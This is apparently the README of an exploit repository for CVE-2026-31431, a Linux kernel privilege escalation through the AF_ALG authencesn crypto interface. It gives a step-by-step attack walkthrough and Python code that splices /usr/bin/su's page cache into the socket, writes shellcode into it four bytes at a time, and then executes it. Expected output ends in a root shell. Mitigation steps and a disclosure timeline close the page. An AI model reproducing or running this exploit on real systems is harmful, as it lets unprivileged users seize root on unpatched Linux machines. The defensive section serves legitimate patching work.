
Python exploit for CVE-2026-31431, a Linux kernel privilege escalation via page cache corruption of setuid binaries, achieving root access.
Copy Fail (CVE-2026-31431) is a critical logic bug in the Linux kernel's cryptographic subsystem that allows unprivileged users to achieve privilege escalation to root. The vulnerability affects Linux kernels 6.0.0 through 6.18.x across all major distributions.
This repository contains the real exploit that triggers the vulnerability by corrupting the page cache of setuid binaries and executing arbitrary code with root privileges.
Copy Fail is a logic bug that allows unprivileged users to write arbitrary 4-byte chunks directly into the kernel's page cache of any readable file on the system, including setuid binaries.
Key characteristics:
The vulnerability stems from a 2017 optimization in algif_aead.c (commit 72548b093ee3) that changed AEAD operations from out-of-place to in-place:
Before (safe - 2015):
TX Scatterlist (input) ← TX buffer (user data from file)
RX Scatterlist (output) ← RX buffer (user's output area)
Separate scatterlists = page cache pages are read-only
After (vulnerable - 2017):
Combined Scatterlist:
[ RX buffer ] [ Page cache pages chained via sg_chain() ]
↑ ↑
req->src = src req->dst = dst (SAME scatterlist)
Page cache pages are now in a WRITABLE scatterlist!
The combined scatterlist looks like:
[AAD + Ciphertext from RX buffer] || [Tag from /usr/bin/su page cache]
↑
Boundary
(authencesn writes PAST this point)
The authencesn algorithm is an AEAD wrapper used by IPsec for Extended Sequence Numbers (ESN). It performs HMAC computation but needs to rearrange bytes within the AAD (Associated Authenticated Data).
In the kernel code (crypto/authenc.c), during decryption:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // read AAD bytes 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporary: overwrite dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← KEY LINE
// write 4 bytes at dst[assoclen+cryptlen]
The problem: The third write occurs at offset assoclen + cryptlen. In the vulnerable in-place path:
The kernel treats this position as "expendable scratch space" and writes the value there permanently. The original bytes at this position in the page cache are lost forever.
1. Attacker opens AF_ALG socket → binds to authencesn(hmac(sha256),cbc(aes))
(No privileges needed; AF_ALG is available to unprivileged users by default)
2. Attacker opens target file: /usr/bin/su (setuid-root binary)
3. Attacker uses splice() to deliver /usr/bin/su's page cache pages
into the AF_ALG socket as the "ciphertext" and "tag"
4. Attacker sends sendmsg() with AAD containing:
- Bytes 0-3: padding
- Bytes 4-7: seqno_lo = 4-byte value to write (controlled by attacker)
- Bytes 8+: padding
5. Attacker calls recvmsg() which triggers the AEAD decrypt operation
Inside authencesn's decrypt in kernel space:
a) Kernel reads AAD bytes 0-7
b) Kernel writes seqno_hi at dst[4..7] (temporary, then restored)
c) Kernel writes seqno_lo at dst[assoclen + cryptlen]
↓
THIS WRITE CROSSES FROM USER BUFFER INTO PAGE CACHE PAGES
↓
4-byte write to /usr/bin/su's page cache occurs HERE
d) Kernel computes HMAC (fails validation - ciphertext is fabricated)
e) recvmsg() returns error
BUT: The 4-byte write ALREADY PERSISTS in the page cache
6. Attacker repeats steps 2-5 for each 4-byte chunk of shellcode
7. Attacker executes /usr/bin/su
- Kernel loads the binary from PAGE CACHE (which now contains shellcode)
- Binary is setuid-root
- Shellcode executes with UID=0
- Attacker has root access
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Request socket for AEAD operations
Create an AF_ALG socket bound to the authencesn AEAD template.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Open the setuid binary that will be corrupted. Any readable file works, but setuid binaries are chosen for privilege escalation.
pipe_rd, pipe_wr = os.pipe()
Create a pipe that will act as an intermediary for splice() operations. The pipe buffers will hold references to page cache pages.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Use splice() to transfer cryptlen bytes from /usr/bin/su starting at write_offset to the pipe.
Why this matters: splice() transfers data between file descriptors without copying. It passes direct references to kernel page cache pages. These pages stay in the pipe's internal buffer structure.
assoclen = 8 # AAD length: bytes 0-7
cryptlen = 32 # Ciphertext length (== HMAC-SHA256 output)
authsize = 32 # Tag length
write_offset = 0x2000 # Offset in /usr/bin/su to write to
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
The AAD (Associated Authenticated Data) contains:
The authencesn algorithm will use bytes 4-7 of this AAD in its scratch write.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Send the AAD to the AF_ALG socket. The MSG_MORE flag indicates that ciphertext/tag will follow.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
Transfer the page cache pages from the pipe to the AF_ALG socket. Now the kernel's scatterlist contains:
Scatterlist chain:
[ AAD (from RX buffer) ] || [ Ciphertext (from RX buffer) ] → [ Tag (page cache pages) ]
↑
Still references
/usr/bin/su's pages
try:
req_sock.recv(1024)
except OSError:
pass # Expected to fail with invalid HMAC
Call recvmsg() to trigger the AEAD decrypt operation:
Inside authencesn in kernel space:
dst[assoclen + cryptlen]
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
The exploit loops, writing 4-byte chunks of shellcode at sequential offsets in /usr/bin/su's page cache.
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
Execute /usr/bin/su:
os.splice() support)lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
Expected output on vulnerable system:
[*] CVE-2026-31431 (Copy Fail) Linux Kernel Privilege Escalation
[*] Target: /usr/bin/su (setuid-root binary)
[*] Kernel version: 6.12.0-1007-aws
[+] Kernel 6.12.x is in vulnerable range (6.0 - 6.18)
[+] Found /usr/bin/su (setuid-root binary)
[+] Kernel vulnerability check: AF_ALG + splice + authencesn
[*] Beginning page cache corruption...
[*] Injecting 33 bytes of shellcode into /usr/bin/su
[+] Wrote chunk 0 at offset 0x2000
[+] Wrote chunk 1 at offset 0x2004
...
[+] Shellcode injection successful!
[*] Executing /usr/bin/su to trigger shellcode...
# id
uid=0(root) gid=1001(user) groups=1001(user)
Disable AF_ALG AEAD support:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
This prevents the exploit from accessing AF_ALG's AEAD interface while keeping other AF_ALG functionality intact.
Unload vulnerable modules:
sudo rmmod algif_aead
sudo rmmod authencesn
Block AF_ALG socket creation via seccomp (for containerized environments):
# In container security policy, deny socket(38, SOCK_SEQPACKET) syscalls
Update to Linux 6.19+ which includes the fix (commit a664bf3d603d).
The fix reverts algif_aead.c to out-of-place AEAD operations:
// Before (vulnerable in-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL (input)
rsgl_src, // RX SGL (output) - SAME
used, ctx->iv);
// After (fixed out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL (input)
rsgl_src, // RX SGL (output) - DIFFERENT
used, ctx->iv);
With separate source and destination scatterlists:
This exploit is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing vulnerabilities.
| Aspect | Explanation |
|---|
| No Crashes | Operation completes from kernel's perspective |
| Deterministic | No race conditions; synchronous and reliable |
| Persistent | Page cache corruption survives even after recvmsg() error |
| Invisible | On-disk file untouched; standard integrity tools detect nothing |
| Universal | Same code works on all distributions; no per-distro offsets needed |
| Portable | Works on x86-64 and ARM64 architectures |
| Date | Event |
|---|
| 2017-Q3 | Vulnerability introduced in algif_aead.c (commit 72548b093ee3) |
| 2026-03-23 | Reported to Linux kernel security team |
| 2026-03-24 | Kernel team acknowledges vulnerability |
| 2026-03-25 | Patches proposed and reviewed |
| 2026-04-01 | Patches merged to mainline kernel (commit a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 assigned |
| 2026-04-29 | Public disclosure (Xint Research) |
| Series | Status | Details |
|---|
| Linux 5.x | ✅ Safe | Pre-dates vulnerability |
| Linux 6.0 - 6.18 | ❌ Vulnerable | All minor versions affected |
| Linux 6.19+ | ✅ Safe | Contains fix (commit a664bf3d603d) |
| Linux 7.0+ | ✅ Safe | After fix merged |